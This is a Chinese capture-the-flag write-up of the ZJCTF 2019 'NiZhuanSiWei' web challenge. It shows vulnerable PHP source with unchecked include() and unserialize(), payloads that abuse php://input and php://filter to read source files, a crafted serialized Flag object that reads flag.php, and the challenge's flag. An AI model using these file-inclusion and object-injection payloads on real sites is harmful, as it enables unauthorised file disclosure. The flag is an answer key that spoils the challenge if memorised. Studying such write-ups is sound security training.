0x01、Web
1.NiZhuanSiWei-[ZJCTF 2019]-[PHP伪协议]-[传送门->BUUCTF]
第一步:打开环境,点击题目链接,进行代码审计
<?php
$text = $_GET["text"]; //GET传参:text
$file = $_GET["file"]; //GET传参:file
$password = $_GET["password"]; //GET传参:password
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php //提示文件包含useless.php
$password = unserialize($password); //反序列化password变量
echo $password; //打印password变量
}
}
else{
highlight_file(__FILE__); //高亮显示当前页面源码
}
?>
第二步:思路
条件1:text===welcome to the zjctf
条件2:file=useless.php
我们可以利用php伪协议php://input和php://filter
php://input可以读取POST提交的原始数据
php://filter可以读取页面源码
因此payload:
GET部分:?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
POST部分:welcome to the zjctf
第三步:提交payload,读取useless.php页面源码
图略
解码后得到:
<?php
class Flag{ //flag.php //类:Flag,且提示flag.php,但是我们不能直接文件包含该文件,因为index.php里面过滤掉了
public $file; //公有属性$file
public function __tostring(){ //公有魔术方法__toString():在当前类的实例化对象被当作字符串操作的时候,自动被调用
if(isset($this->file)){ //判断是否以设置$file属性,且不为NULL
echo file_get_contents($this->file); //把以$file属性为名的文件内容读成字符串,并且打印出来
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第四步:思路
假如这个类的实例化对象的$file属性的值为flag.php,那么在想办法调用这个类的实例化对象的__toString()魔术方法即可
只要我们把这个类的实例化对象,赋值给password参数,即可被当作字符串打印操作
第五步:编写代码,构造payload
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$chen = new Flag();
$chen->file = 'flag.php';
$chen = serialize($chen);
echo $chen."<br />";
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>
payload:
GET部分:?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST部分:welcome to the zjctf
第六步:提交payload,获取flag
图略
return (“flag{582f9b0f-4181-47d6-a8bd-04c9a5b81aa2}”);